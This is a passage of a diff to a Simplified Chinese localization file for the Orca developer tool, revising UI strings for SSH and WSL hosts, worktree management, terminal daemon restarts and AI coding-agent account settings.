           "markAsRead": "标为已读",
           "markAsUnread": "标为未读"
         },
         "NewExternalWorktreesInboxLine": {
           "9f2d4c8b17": "永久隐藏 {{value0}} 的外部工作树",
           "c3e8a1f4b2": "不再显示",
-          "6c07f3a91e": "{{value0}} 在 {{value1}} 上",
+          "6c07f3a91e": "{{value1}} 上的 {{value0}}",
           "hiddenWorktreesNoun_other": "隐藏的工作树",
           "reviewHiddenWorktrees_other": "查看 {{scope}} 中 {{count}} 个隐藏的工作树"
         },
@@ -6347,40 +6607,40 @@
           "runtimeHostProject": "{{hostName}} 上的项目"
         },
         "newExternalWorktreesInboxActions": {
-          "a11c2f6d89": "无法保持外部工作树隐藏。请重试。",
-          "b7e4d1a062": "无法导入外部工作树。请重试。",
-          "c94f0b3a15": "无法永久隐藏外部工作树。请重试。"
+          "a11c2f6d89": "无法保持外部工作树隐藏，请重试",
+          "b7e4d1a062": "无法导入外部工作树，请重试",
+          "c94f0b3a15": "无法永久隐藏外部工作树，请重试"
         },
         "SuppressExternalWorktreeInboxDialog": {
           "a4c2d8f1b0": "隐藏外部工作树？",
-          "6e91b3c4d2": "对于 {{value0}}，外部工作树将不再显示在侧边栏或此列表中，包括之后创建的工作树。",
-          "1f8a5d9e73": "之后可以在项目设置中重新开启。",
+          "6e91b3c4d2": "对于 {{value0}}，外部工作树将不再显示在侧边栏或此列表中，包括之后创建的工作树",
+          "1f8a5d9e73": "之后可以在项目设置中重新开启",
           "8c0b2e7a41": "打开 Non-Orca 工作树设置",
           "5d1c9f0a82": "取消",
           "3b7e4a1c96": "隐藏外部工作树"
         },
         "useAddRepoHostSelection": {
-          "connectionFailed": "SSH 连接失败。",
-          "wslConnectionFailed": "无法启动 WSL 主机。"
+          "connectionFailed": "SSH 连接失败",
+          "wslConnectionFailed": "无法启动 WSL 主机"
         },
         "AddRemoteHostDialog": {
-          "sshHostRequired": "必须填写主机或 SSH 配置别名。",
-          "sshPortInvalid": "端口必须介于 1 到 65535 之间。",
-          "sshSaved": "已添加 SSH 主机。",
-          "sshSaveFailed": "添加 SSH 主机失败。",
-          "serverFieldsRequired": "必须填写服务器名称和配对码。",
-          "serverSaved": "已添加远程服务器。",
-          "serverAlreadyPaired": "此服务器已作为 {{value0}} 配对；已更新其连接。",
-          "serverSaveFailed": "添加远程服务器失败。",
+          "sshHostRequired": "必须填写主机或 SSH 配置别名",
+          "sshPortInvalid": "端口必须介于 1 到 65535 之间",
+          "sshSaved": "已添加 SSH 主机",
+          "sshSaveFailed": "添加 SSH 主机失败",
+          "serverFieldsRequired": "必须填写服务器名称和配对码",
+          "serverSaved": "已添加远程服务器",
+          "serverAlreadyPaired": "此服务器已作为 {{value0}} 配对，已更新其连接",
+          "serverSaveFailed": "添加远程服务器失败",
           "serverTitle": "添加远程服务器",
           "sshTitle": "添加 SSH 主机",
-          "serverDescription": "与另一台电脑上运行的 Orca 配对。",
-          "serverRunsAsYou": "此设备将能够在此服务器上以你的身份运行命令。",
-          "sshDescription": "添加一台可通过 SSH 登录并持久保存的机器。",
+          "serverDescription": "与另一台电脑上运行的 Orca 配对",
+          "serverRunsAsYou": "此设备将能够在此服务器上以你的身份运行命令",
+          "sshDescription": "添加一台可通过 SSH 登录并持久保存的机器",
           "serverSshTitle": "向 {{server}} 添加 SSH 主机",
-          "serverSshDescription": "{{server}} 会保存此主机并连接到它。密码和密钥口令会在连接时询问。",
+          "serverSshDescription": "{{server}} 会保存此主机并连接到它，密码和密钥口令会在连接时询问",
           "cancel": "取消",
-          "saving": "正在保存...",
+          "saving": "保存中...",
           "save": "保存",
           "label": "标签",
           "sshLabelPlaceholder": "开发机",
@@ -6390,65 +6650,66 @@
           "usernamePlaceholder": "deploy",
           "port": "端口",
           "identityFile": "身份文件",
-          "identityFilePlaceholder": "~/.ssh/id_ed25519（可选）",
+          "identityFilePlaceholder": "~/.ssh/id_ed25519(可选)",
           "nameInOrca": "在 Orca 中的名称",
           "serverNamePlaceholder": "开发机",
           "accessLink": "访问链接",
           "pairingCodePlaceholder": "orca://pair?code=...",
-          "sshImportAlreadySynced": "~/.ssh/config 已同步。",
-          "sshImportFailed": "导入 SSH 配置失败。",
-          "advanced": "Advanced",
+          "sshImportAlreadySynced": "~/.ssh/config 已同步",
+          "sshImportFailed": "导入 SSH 配置失败",
+          "advanced": "高级",
           "linkDestination": "链接目标",
           "sshTunnel": "我正在使用 SSH 隧道",
-          "sshTunnelHelp": "否则，此链接会指回此设备，无法识别另一台计算机。",
-          "loopbackBlocked": "启用 SSH 隧道选项，或使用另一台主机的 Tailscale 或 LAN 地址创建新链接。",
-          "sshAlreadyExists": "该 SSH 主机已在 Orca 中。",
-          "sshConfigPickerLoadFailed": "无法读取 ~/.ssh/config。",
-          "sshConfigPickerResolveFailed": "无法解析该 SSH 配置主机。",
-          "sshConfigPickerRestartRequired": "重新启动 Orca 以完成应用 SSH 配置选择器更新。",
-          "sshConfigPickerFilled": "从 {{value0}} 开始填充。查看并保存。",
-          "sshConfigPickerTitle": "从 ~/.ssh/config 中选择",
-          "sshConfigPickerImportDescription": "选择一个主机以填写表单，或将所有新主机添加到 Orca 的主机列表。",
-          "sshConfigPickerFilter": "过滤主机...",
-          "sshConfigPickerHostsLabel": "SSH 配置主机",
-          "sshConfigPickerLoading": "正在读取 ~/.ssh/config...",
+          "sshTunnelHelp": "否则，此链接会指回此设备，无法识别另一台计算机",
+          "loopbackBlocked": "启用 SSH 隧道选项，或使用另一台主机的 Tailscale 或 LAN 地址创建新链接",
+          "sshAlreadyExists": "该 SSH 主机已在 Orca 中",
+          "sshConfigPickerLoadFailed": "无法读取 ~/.ssh/config",
+          "sshConfigPickerResolveFailed": "无法解析该 SSH config 主机",
+          "sshConfigPickerRestartRequired": "请重启 Orca 以完成 SSH config 选择器更新",
+          "sshConfigPickerFilled": "已从 {{value0}} 填充，请检查并保存",
+          "sshConfigPickerTitle": "从 ~/.ssh/config 选择",
+          "sshConfigPickerImportDescription": "选择一个主机以填写表单，或将所有新主机添加到 Orca 的主机列表",
+          "sshConfigPickerFilter": "筛选主机…",
+          "sshConfigPickerHostsLabel": "SSH config 主机",
+          "sshConfigPickerLoading": "正在读取 ~/.ssh/config…",
           "sshConfigPickerEmpty": "~/.ssh/config 中没有主机",
           "sshConfigPickerNoMatch": "没有匹配的主机",
-          "sshConfigPickerEmptyHint": "在那里添加一个主机条目，或者返回并手动输入详细信息。",
-          "sshConfigPickerNoMatchHint": "尝试其他过滤器，或者返回并手动输入。",
-          "sshConfigPickerMoreResults": "显示第一个 {{value0}} 匹配项。缩小过滤范围以找到更多。",
-          "sshConfigPickerInOrca": "在 Orca",
-          "sshConfigPickerPreviouslyRemoved": "从 Orca 中移除",
+          "sshConfigPickerEmptyHint": "在那里添加 Host 条目，或返回手动填写",
+          "sshConfigPickerNoMatchHint": "试试其他筛选，或返回手动输入",
+          "sshConfigPickerMoreResults": "仅显示前 {{value0}} 个匹配项，缩小筛选范围以查看更多",
+          "sshConfigPickerInOrca": "已在 Orca 中",
+          "sshConfigPickerPreviouslyRemoved": "已从 Orca 移除",
           "sshConfigPickerBack": "返回",
-          "fillFromSshConfig": "从 ~/.ssh/config 填写...",
-          "sshConfigPickerAddingAll": "添加主机...",
-          "sshConfigPickerAddAll": "将所有 {{value0}} 添加到 Orca",
-          "sshConfigPickerNoNewHosts": "无需添加新主机",
+          "fillFromSshConfig": "从 ~/.ssh/config 填充…",
+          "sshConfigPickerAddingAll": "正在添加主机…",
+          "sshConfigPickerAddAll": "将全部 {{value0}} 台添加到 Orca",
+          "sshConfigPickerNoNewHosts": "没有可添加的新主机",
           "sshConfigPickerAddAllEmpty": "全部添加到 Orca",
-          "identityFileFromConfigHint": "故意留空：Orca 使用 ~/.ssh/config 解析为 {{value0}} 的每个密钥。键入一个路径以仅使用该键。",
+          "identityFileFromConfigHint": "有意留空：Orca 会使用 ~/.ssh/config 为 {{value0}} 解析到的每一把密钥，若只想用其中一把，请填写路径",
           "sshConfigPickerRetry": "重试",
-          "sshConfigPickerResolving": "阅读…",
-          "pairingHelpShareComputer": "在另一台电脑上通过“设置 → 远程 Orca 服务器 → 共享此电脑”创建。",
-          "sshImportSynced_other": "已向 Orca 添加 {{count}} 个主机。",
-          "sshConfigPickerInvalidResponse": "SSH 配置主机响应无效"
+          "sshConfigPickerResolving": "正在读取…",
+          "pairingHelpShareComputer": "在另一台电脑上通过“设置 → 远程 Orca 服务器 → 共享此电脑”创建",
+          "sshImportSynced_other": "已向 Orca 添加 {{count}} 个主机",
+          "sshConfigPickerInvalidResponse": "SSH 配置主机响应无效",
+          "sshImportSynced": "已同步 {{value0}} 个主机{{value1}}"
         },
         "ForgetSshWorkspaceDialog": {
-          "ghostBody": "{{host}} 不再是已保存的 SSH 主机，因此此工作区不再连接到活跃主机。只能从 Orca 中移除 — 远程文件和分支保持不变。",
+          "ghostBody": "{{host}} 不再是已保存的 SSH 主机，因此此工作区不再连接到活跃主机，只能从 Orca 中移除 — 远程文件和分支保持不变",
           "cancel": "取消",
           "forget": "从 Orca 中移除"
         },
         "MarkdownImageLightbox": {
-          "image": "Image",
-          "expand": "Expand image"
+          "image": "图片",
+          "expand": "放大图片"
         },
         "WorktreeDeveloperMenu": {
-          "developer": "Developer",
-          "parkTerminal": "Park terminal"
+          "developer": "开发者",
+          "parkTerminal": "停放终端"
         },
         "SidebarFeedbackImageAttachments": {
           "preparing": "正在准备附件…",
-          "attachImages": "Attach",
-          "removeImage": "Remove {{fileName}}",
+          "attachImages": "添加图片",
+          "removeImage": "移除 {{fileName}}",
           "screenshotsHint": "最多附加 {{count}} 张截图，总计 {{maxSize}}"
         },
         "WorkspaceKanbanSearchField": {
@@ -6461,13 +6722,13 @@
         },
         "WorktreeCardSshHostControl": {
           "connectFailed": "SSH 连接失败",
-          "removedTooltip": "SSH 主机已删除 — 无法重新连接",
-          "removedName": "SSH 主机 {{value0}} 已删除",
+          "removedTooltip": "SSH 主机已移除 — 无法重新连接",
+          "removedName": "SSH 主机 {{value0}} 已移除",
           "connectedTooltip": "SSH 主机上的项目",
           "connectedName": "SSH 主机 {{value0}} 上的项目",
-          "connectingName": "连接到 SSH 主机 {{value0}}",
+          "connectingName": "正在连接到 SSH 主机 {{value0}}",
           "authFailedName": "重新连接 SSH 主机 {{value0}} — 身份验证失败",
-          "retryName": "重试 SSH 连接到 {{value0}}",
+          "retryName": "重试连接到 SSH 主机 {{value0}}",
           "connectName": "连接到 SSH 主机 {{value0}}",
           "authFailedTooltip": "{{value0}} · 身份验证失败",
           "failedTooltip": "{{value0}} · 连接失败"
@@ -6476,8 +6737,8 @@
           "branch": {
             "batch": {
               "toast": {
-                "a3cdd9d9e6_one": "Git 保留 {{count}} 本地分支，因为它可能包含未合并的提交。保留的分支不保留工作区文件夹；他们的提交保留在仓库中。 Orca 可能会继续在后台释放工作区磁盘空间。",
-                "a3cdd9d9e6_other": "Git 保留 {{count}} 本地分支，因为它们可能包含未合并的提交。保留的分支不保留工作区文件夹；他们的提交保留在仓库中。 Orca 可能会继续在后台释放工作区磁盘空间。",
+                "a3cdd9d9e6_one": "Git 保留 {{count}} 本地分支，因为它可能包含未合并的提交，保留的分支不保留工作区文件夹，他们的提交保留在存储库中，Orca 可能会继续在后台释放工作区磁盘空间",
+                "a3cdd9d9e6_other": "Git 保留 {{count}} 本地分支，因为它们可能包含未合并的提交，保留的分支不保留工作区文件夹，他们的提交保留在存储库中，Orca 可能会继续在后台释放工作区磁盘空间",
                 "6310412304_one": "审查 {{count}} 分行",
                 "6310412304_other": "审查 {{count}} 分支",
                 "cea24c2b7d_one": "{{count}} 工作区已删除",
@@ -6489,21 +6750,27 @@
                 "1e1a5f6763": "已删除本地分支：{{value0}}",
                 "43d9395605": "{{value0}} 已删除，{{value1}} 未删除",
                 "d42f1f14e0_one": "重试 {{count}} 分支",
-                "d42f1f14e0_other": "重试 {{count}} 分支"
+                "d42f1f14e0_other": "重试 {{count}} 分支",
+                "0e0379f24a": "保留 {{count}} 分支",
+                "6310412304": "审查 {{count}} 分支",
+                "a3cdd9d9e6": "Git 保留 {{count}} 本地分支，因为它们可能包含未合并的提交，保留的分支不保留工作区文件夹，他们的提交保留在存储库中，Orca 可能会继续在后台释放工作区磁盘空间",
+                "cea24c2b7d": "{{count}} 工作区已删除",
+                "d42f1f14e0": "重试 {{count}} 分支"
               }
             }
           }
         },
         "PreservedBranchBatchReviewDialog": {
           "c4bf8e7eaf": "审查保留的分支",
-          "f21976c9a8": "选择要强制删除的本地分支。未选择的分支保留在其仓库中。",
+          "f21976c9a8": "选择要强制删除的本地分支，未选择的分支保留在其存储库中",
           "38c947f7c5": "选择全部",
           "9602129d38": "已选择 {{value1}} 中的 {{value0}}",
           "ee39e872d5": "可能会取消合并",
           "676db406fd": "头不可用",
           "285e1e4882": "取消",
           "a0f9863597_one": "强制删除 {{count}} 分支",
-          "a0f9863597_other": "强制删除 {{count}} 分支"
+          "a0f9863597_other": "强制删除 {{count}} 分支",
+          "a0f9863597": "强制删除 {{count}} 分支"
         },
         "WorktreeListScrollToTopButton": {
           "jumpToTop": "跳转到顶部"
@@ -6511,36 +6778,36 @@
         "RepoScanUnavailableIndicator": {
           "title": "{{value0}} 的工作树扫描失败",
           "retry": "重试扫描",
-          "retained": "现有工作树将保留，直到扫描成功。单击警告图标重试。",
-          "xcodeLicense": "Apple 开发者工具需要接受许可证才能运行 Git。",
-          "developerTools": "Apple 命令行开发人员工具丢失或不可用。",
-          "architectureMismatch": "与 Git 相关的可执行文件无法运行，因为其 CPU 架构与此执行主机不兼容。为主机架构安装 Git 和相关工具。",
-          "copyDiagnostics": "复制诊断",
+          "retained": "在扫描成功前，将保留现有工作树，点击重试",
+          "xcodeLicense": "必须先接受 Apple 开发者工具许可协议，Git 才能运行",
+          "developerTools": "Apple 命令行开发者工具缺失或不可用",
+          "architectureMismatch": "某个 Git 相关可执行文件的 CPU 架构与此执行主机不兼容，因此无法运行，请安装适用于该主机架构的 Git 和相关工具",
+          "copyDiagnostics": "复制诊断信息",
           "wslStoppedTitle": "WSL 发行版 {{value0}} 已停止",
           "wslUnverifiableTitle": "无法确认 WSL 发行版 {{value0}} 正在运行",
-          "wslRetained": "正在显示 Orca 已知的工作树。Orca 检测到该发行版运行后会刷新。",
+          "wslRetained": "正在显示 Orca 已知的工作树。Orca 检测到该发行版运行后会刷新",
           "wslStartAndScan": "启动发行版并扫描",
-          "wslStartAndScanHint": "点击图标启动该发行版并重新扫描。"
+          "wslStartAndScanHint": "点击图标启动该发行版并重新扫描"
         },
         "LocalGitToolchainScanBanner": {
           "xcodeLicenseTitle": "接受 Xcode 许可协议以使用 Git",
-          "xcodeLicenseBody": "在您接受之前，macOS 会阻止 Git 运行。请在终端中运行此命令，然后切回 Orca。它会自动重新检查。",
+          "xcodeLicenseBody": "在您接受之前，macOS 会阻止 Git 运行，请在终端中运行此命令，然后切回 Orca，它会自动重新检查",
           "developerToolsTitle": "安装 Apple 命令行工具",
-          "developerToolsBody": "Git 需要 Apple 开发者工具。请在终端中运行此命令，然后切回 Orca。它会自动重新检查。",
+          "developerToolsBody": "Git 需要 Apple 开发者工具，请在终端中运行此命令，然后切回 Orca，它会自动重新检查",
           "affectedOne": "已暂停 {{value0}} 的工作树扫描",
           "copyCommand": "复制命令",
           "copied": "命令已复制",
           "retry": "立即重试",
-          "restored": "Git 已恢复正常。工作树已刷新。",
+          "restored": "Git 已恢复正常，工作树已刷新",
           "affectedProjects_other": "{{count}} 个项目的工作树扫描已暂停"
         },
         "manualSortSwitch": {
           "title": "排序更改为手动",
-          "description": "手动将工作区保留在您放置它们的位置。",
+          "description": "手动将工作区保留在您放置它们的位置",
           "restore": "返回{{label}}"
         },
         "AddWslHostDialogBody": {
-          "added": "已添加 {{value0}}。"
+          "added": "已添加 {{value0}}"
         },
         "AddWslHostFormPanel": {
           "wsl1": "WSL 1 · 不受支持",
@@ -6549,13 +6816,13 @@
           "stopped": "已停止",
           "unverifiable": "未知",
           "title": "添加 WSL 发行版",
-          "description": "Orca 在发行版内运行其服务器，因此 git、文件和终端都在 Linux 中原生运行。此发行版中通过 \\\\wsl.localhost 打开的项目会在其终端空闲时自动移到此主机；位于 Windows 驱动器 (/mnt/…) 上的项目会留在此电脑。你可以从侧边栏将已移动的项目移回。",
+          "description": "Orca 在发行版内运行其服务器，因此 git、文件和终端都在 Linux 中原生运行。此发行版中通过 \\\\wsl.localhost 打开的项目会在其终端空闲时自动移到此主机；位于 Windows 驱动器 (/mnt/…) 上的项目会留在此电脑。你可以从侧边栏将已移动的项目移回",
           "distro": "发行版",
           "loading": "正在查找 WSL 发行版…",
           "placeholder": "选择发行版",
-          "stoppedHint": "{{value0}} 已停止。添加后会自动启动。",
+          "stoppedHint": "{{value0}} 已停止，添加后会自动启动",
           "unverifiableHint": "WSL 没有报告 {{value0}} 是否正在运行。添加时会按需启动它。",
-          "addingHint": "正在发行版中安装并启动 Orca 服务器。首次可能需要一分钟。",
+          "addingHint": "正在发行版中安装并启动 Orca 服务器，首次可能需要一分钟",
           "adding": "正在设置…",
           "startAndAdd": "启动并添加",
           "add": "添加主机",
@@ -6574,27 +6841,27 @@
           "kind": "WSL 发行版",
           "turnedOff": "WSL 主机已在设置 → 实验性中关闭",
           "turnedOffShort": "已在设置 → 实验性中关闭",
-          "serverFilesMissing": "此版本的 Orca 无法运行 WSL 主机（缺少服务器文件）。",
+          "serverFilesMissing": "此版本的 Orca 无法运行 WSL 主机（缺少服务器文件）",
           "serverFilesMissingShort": "此版本无法运行 WSL 主机",
           "removalPending": "移除未完成"
         },
         "wslHostRemoval": {
-          "keptForOthers": "已从此 Orca 中移除。该主机将继续为 {{value0}} 运行。",
+          "keptForOthers": "已从此 Orca 中移除。该主机将继续为 {{value0}} 运行",
           "partial": "主机已被移除，但发行版中仍有内容在运行：{{value0}}",
-          "pending": "Orca 尚未移除该主机：{{value0}} 可再次移除以重试，或连接以保留它。",
-          "unavailable": "此电脑上无法使用 WSL 主机。"
+          "pending": "Orca 尚未移除该主机：{{value0}} 可再次移除以重试，或连接以保留它",
+          "unavailable": "此电脑上无法使用 WSL 主机"
         },
         "addRepoWslHostFolderPicker": {
-          "otherDistro": "该文件夹位于 {{value0}} 中，而不是 {{value1}}。",
-          "outsideDistro": "请选择 {{value0}} 内的文件夹。",
-          "underDistro": "此主机只能添加 \\\\wsl.localhost\\{{value0}} 下的文件夹。"
+          "otherDistro": "该文件夹位于 {{value0}} 中，而不是 {{value1}}",
+          "outsideDistro": "请选择 {{value0}} 内的文件夹",
+          "underDistro": "此主机只能添加 \\\\wsl.localhost\\{{value0}} 下的文件夹"
         },
         "RemoteFileBrowserEntryList": {
           "pathEmpty": "{{path}} 为空"
         },
         "importedWorktreesCardActions": {
-          "keepHiddenError": "无法保持检测到的工作树为隐藏状态。请重试。",
-          "showError": "无法显示检测到的工作树。请重试。"
+          "keepHiddenError": "无法保持检测到的工作树为隐藏状态。请重试",
+          "showError": "无法显示检测到的工作树。请重试"
         },
         "repoHeaderProjectActions": {
           "hideNonOrcaWorktrees": "隐藏非 Orca 工作树",
@@ -6625,12 +6892,12 @@
           "chooseFolder": "选择文件夹…"
         },
         "DeleteNestedWorktreesDialog": {
-          "unsupportedHost": "此主机不支持删除嵌套工作树。"
+          "unsupportedHost": "此主机不支持删除嵌套工作树"
         },
         "WorktreeCardHelpers": {
           "checksPassing": "通过",
           "checksFailing": "失败",
-          "checksPending": "待处理",
+          "checksPending": "等待中",
           "conflictMerging": "合并中",
           "conflictRebasing": "变基中",
           "conflictCherryPicking": "挑拣中"
@@ -6657,54 +6924,70 @@
           "needsInput": "需要输入",
           "running": "运行中",
           "idle": "空闲"
+        },
+        "hostSection": {
+          "localWindows": "本地 Windows",
+          "localMac": "本地 Mac",
+          "localLinux": "本地 Linux",
+          "thisComputer": "此计算机",
+          "host": "主机"
+        },
+        "workspaceBoardStatus": {
+          "todo": "待办",
+          "inProgress": "进行中",
+          "inReview": "评审中",
+          "done": "完成"
+        },
+        "workspaceKanbanStatusLane": {
+          "newWorkspaceInStatus": "在「{{status}}」中新建工作区"
         }
       },
       "shared": {
         "useDaemonActions": {
           "01af244097": "取消",
           "1bbea41a77": "终止所有终端会话？",
-          "d762b41f41": "重启失败。",
-          "b5954e12d3": "重新启动失败 - 检查日志。",
-          "0e9da1b98e": "守护进程重新启动。",
-          "71a8d342b0": "终端标签页缺失：{{value0}}/{{value1}}。关闭尝试失败：{{value2}}。精确 PTY 关闭请求已接受：{{value3}}；失败：{{value4}}。",
-          "2e57c1a940": "守护进程关闭结果未经验证，因为其管理请求失败。",
-          "993af6052c": "守护进程管理报告已退出：{{value0}}/{{value1}}；在精确清理前仍存在：{{value2}}。",
-          "1f0d8ac762": "终端清理完成，但有错误。",
-          "80b6ea14cf": "终端清理完成，但有警告。",
-          "47cd2a50e9": "未报告任何会话或终端标签页。",
-          "c34fb1098d": "终端标签页已关闭，关闭请求已发送。",
-          "d9657ac204": "终端会话关闭请求已发送。",
-          "e8f25bd903": "无法完成终端清理。",
-          "a702d4196e": "这将关闭所有工作区中的每个终端标签页，并请求关闭其当前终端会话。任何未保存的终端工作将丢失。守护进程本身将继续运行，可以立即打开新终端。此操作不可撤销。",
-          "01d6b7c64e": "打开终端，智能体将重新启动。远程主机上的终端不受影响。",
-          "922548bc66": "重启终端服务？",
+          "d762b41f41": "重启失败",
+          "b5954e12d3": "重新启动失败 - 检查日志",
+          "0e9da1b98e": "守护进程重新启动",
+          "71a8d342b0": "终端标签页缺失：{{value0}}/{{value1}}，关闭尝试失败：{{value2}}，精确 PTY 关闭请求已接受：{{value3}}，失败：{{value4}}",
+          "2e57c1a940": "守护进程关闭结果未经验证，因为其管理请求失败",
+          "993af6052c": "守护进程管理报告已退出：{{value0}}/{{value1}}，在精确清理前仍存在：{{value2}}",
+          "1f0d8ac762": "终端清理完成，但有错误",
+          "80b6ea14cf": "终端清理完成，但有警告",
+          "47cd2a50e9": "未报告任何会话或终端标签页",
+          "c34fb1098d": "终端标签页已关闭，关闭请求已发送",
+          "d9657ac204": "终端会话关闭请求已发送",
+          "e8f25bd903": "无法完成终端清理",
+          "a702d4196e": "这将关闭所有工作区中的每个终端标签页，并请求关闭其当前终端会话，任何未保存的终端工作将丢失，守护进程本身将继续运行，可以立即打开新终端，此操作不可撤销",
+          "01d6b7c64e": "终止每个正在运行的终端窗格并重新启动守护进程，窗格显示\"进程已退出\"并且可以立即重新打开，先前应用程序版本的旧协议会话将被保留，这无法撤销",
+          "922548bc66": "重新启动终端守护进程？",
           "confirmRestart": "重启",
           "busyRestarting": "正在重启…",
           "confirmKillAll": "终止所有会话",
           "busyKilling": "正在结束…"
         },
         "MacFolderAccessFixDialog": {
-          "stepAllow": "在文件和文件夹下允许 Orca",
+          "stepAllow": "在“文件与文件夹”中允许 Orca",
           "openSystemSettings": "打开系统设置",
-          "stepRestart": "重启 Orca 的终端服务",
-          "restartConsequence": "打开终端，智能体将重新启动。",
-          "restarting": "正在重新启动...",
-          "restart": "重新启动",
-          "restartFailed": "重启失败。从设置 → 终端 → 管理会话重试。",
-          "title": "修复对 {{folder}} 的访问",
-          "lead": "macOS 正在阻止 Orca 的终端服务从此文件夹访问。",
+          "stepRestart": "重启 Orca 终端服务",
+          "restartConsequence": "已打开的终端和代理将重新启动",
+          "restarting": "正在重启…",
+          "restart": "重启",
+          "restartFailed": "重启失败，请前往“设置 → 终端 → 管理会话”重试",
+          "title": "修复对{{folder}}的访问权限",
+          "lead": "macOS 正在阻止 Orca 的终端服务访问此文件夹",
           "done": "完成",
           "cancel": "取消",
-          "stepAllowUnknown": "无法验证。如果已允许则跳过。",
-          "stepAllowDenied": "Orca 已经被允许，但 macOS 并未将其应用到终端服务。重置会再次向 macOS 请求许可。出现提示时单击“允许”。",
-          "stepReallow": "重新允许 Orca 访问您的 {{folder}}",
+          "stepAllowUnknown": "无法验证，如果已经允许，可跳过此步骤",
+          "stepAllowDenied": "Orca 已获授权，但 macOS 未将权限应用到终端服务，重置后 macOS 会再次请求权限，请在提示中点击“允许”",
+          "stepReallow": "重新允许 Orca 访问{{folder}}",
           "reset": "重置权限",
-          "resetting": "正在重置...",
-          "resetFailed": "无法重置权限。请改用系统设置。",
-          "resetStillBlocked": "重置后仍然被阻止。"
+          "resetting": "正在重置…",
+          "resetFailed": "无法重置权限，请改用系统设置",
+          "resetStillBlocked": "重置后仍被阻止"
         },
         "macFolderAccessFolderName": {
-          "documents": "文件文件夹",
+          "documents": "文稿文件夹",
           "desktop": "桌面文件夹",
           "downloads": "下载文件夹",
           "workspace": "工作区文件夹"
@@ -6713,7 +6996,7 @@
       "setup": {
         "guide": {
           "SetupGuideModal": {
-            "3598a3ca0c": "完成使 Orca 对于并行智能体工作有用的核心工作流程。",
+            "3598a3ca0c": "完成使 Orca 对于并行代理工作有用的核心工作流程",
             "48a9e5ef2d": "入门",
             "f3b5ffb2a6": "从侧边栏隐藏清单"
           },
@@ -6727,142 +7010,142 @@
           "locationSaveFailed": "无法保存账户位置。请重试。",
           "dbb9626ed1": "取消",
           "63843e37e2": "删除 Claude 账户？",
-          "380a7736cc": "移除此账户会永久删除其托管的 Codex 主目录，包括其中存储的所有 Codex 会话历史记录和 MCP 登录信息。此操作无法撤销。如果该账户当前处于活动状态，Orca 将回退到系统默认的 Codex 登录。",
+          "380a7736cc": "删除后将永久移除该账户的 Codex 主目录、会话历史与 MCP 登录，且不可撤销，若当前在用会回退到系统默认登录",
           "0d47394635": "删除 Codex 账户？",
           "ae3b21eb6c": "opencode.ai/workspace/wrk_…/go",
-          "51c9104e13": "登录 opencode.ai 后在 URL 中找到此内容（例如",
+          "51c9104e13": "登录 opencode.ai 后在 URL 中找到此内容(例如",
           "b398b834c9": "清除",
           "316ca4e610": "忘记 Cookie",
-          "a122332371": "wrk_…（留空自动查找）",
+          "a122332371": "wrk_…(留空自动查找)",
           "dbdb0b0bd8": "工作区 ID 覆盖",
-          "d70a5287a4": "如果自动查找失败，可选的工作区 ID 覆盖。",
+          "d70a5287a4": "如果自动查找失败，可选的工作区 ID 覆盖",
           "67e3c33670": "OpenCode Go 会话 cookie",
-          "ea631977b5": "配置 OpenCode Go 提供商设置。",
+          "ea631977b5": "配置 OpenCode Go 提供商设置",
           "4ac10b4d08": "OpenCode Go",
-          "c2aee76420": "从本地 Gemini CLI 安装中提取 OAuth 凭据，用于在 {{value0}} 通过 Google 进行身份验证。这将使用颁发给 Gemini CLI 应用的凭据，而非 Orca。若 Google 更新 CLI，可能会失效。请自行承担风险。",
-          "96f3649526": "使用 Gemini CLI 凭据（实验）",
-          "d676c41fc6": "从本地 Gemini CLI 安装中提取 OAuth 凭据以通过 Google 认证。这将使用颁发给 Gemini CLI 应用的凭据，而非 Orca。若 Google 更新 CLI，可能会失效。请自行承担风险。",
+          "c2aee76420": "从本机 Gemini CLI 提取 OAuth 凭据，供 {{value0}} Google 登录，可能随 CLI 更新失效",
+          "96f3649526": "使用 Gemini CLI 凭据(实验)",
+          "d676c41fc6": "从本机 Gemini CLI 提取 Google OAuth 凭据，可能随 CLI 更新失效",
           "0c7f915b01": "使用 Gemini CLI 凭据",
-          "973741a871": "保留现有的 Gemini CLI 会话可用。Gemini 凭据不会让您登录 Antigravity。",
+          "973741a871": "配置 Gemini 提供商设置",
           "0c64dc2a64": "Gemini CLI（旧版）",
           "db209ee572": "移除",
           "8a0f870153": "重新验证",
           "3d245ef7d9": "Codex 报告此登录已过时",
           "589eba1eee": "需要重新授权",
           "e74831fb6b": "当前",
-          "b4c9450319": "{{value0}} 没有受管理的 Codex 账户。Orca 将使用该环境的系统默认 Codex 登录，直到您在此处添加一个。",
+          "b4c9450319": "{{value0}} 没有受管理的 Codex 账户，Orca 将使用该环境的系统默认 Codex 登录，直到您在此处添加一个",
           "93c47b333a": "需要登录",
           "f2a265f8c7": "系统默认",
-          "c0a52abfc5": "正在显示 {{value0}} 的账户。新账户会添加到此处。",
+          "c0a52abfc5": "正在显示 {{value0}} 的账户，新账户会添加到此处",
           "94d351af4a": "账户",
-          "d0d53b7eb0": "管理 Orca 使用哪个 Codex 账户进行实时速率限制提取。",
-          "340d6f7a85": "每个账户在 Orca 中都保留自己的本地登录上下文。账户身份验证保留在此设备上。",
-          "cedfab35ab": "可选。Orca 可使用系统默认 Codex 登录；仅当你需要在 Orca 中快速切换账户时才添加账户。",
+          "d0d53b7eb0": "管理 Orca 使用哪个 Codex 账户进行实时速率限制提取",
+          "340d6f7a85": "每个账户在 Orca 中都保留自己的本地登录上下文，账户身份验证保留在此设备上",
+          "cedfab35ab": "Orca 可使用系统默认 Codex 登录，仅当你需要在 Orca 中快速切换账户时才添加账户",
           "ef91cfa06b": "Codex",
-          "3fe7862418": "{{value0}} 没有受管理的 Claude 账户。Orca 将使用该环境的系统默认 Claude 登录，直到您在此处添加一个。",
-          "fcc4093fc1": "使用您当前 {{value0}} Codex 登录名。",
-          "72b36ea174": "可选。Orca 可使用系统默认 Claude 登录；仅当你需要快速切换且不想迁移聊天会话时才添加账户。",
+          "3fe7862418": "{{value0}} 没有受管理的 Claude 账户，Orca 将使用该环境的系统默认 Claude 登录，直到您在此处添加一个",
+          "fcc4093fc1": "使用您当前 {{value0}} Codex 登录名",
+          "72b36ea174": "Orca 可使用系统默认 Claude 登录，仅当你需要快速切换且不想迁移聊天会话时才添加账户",
           "26ef4b55be": "Claude",
-          "2743cdc0af": "Claude 账户更新失败。",
-          "f921d32606": "Claude 账户已更新。",
-          "5bf8764953": "Codex 账户更新失败。",
+          "2743cdc0af": "Claude 账户更新失败",
+          "f921d32606": "Claude 账户已更新",
+          "5bf8764953": "Codex 账户更新失败",
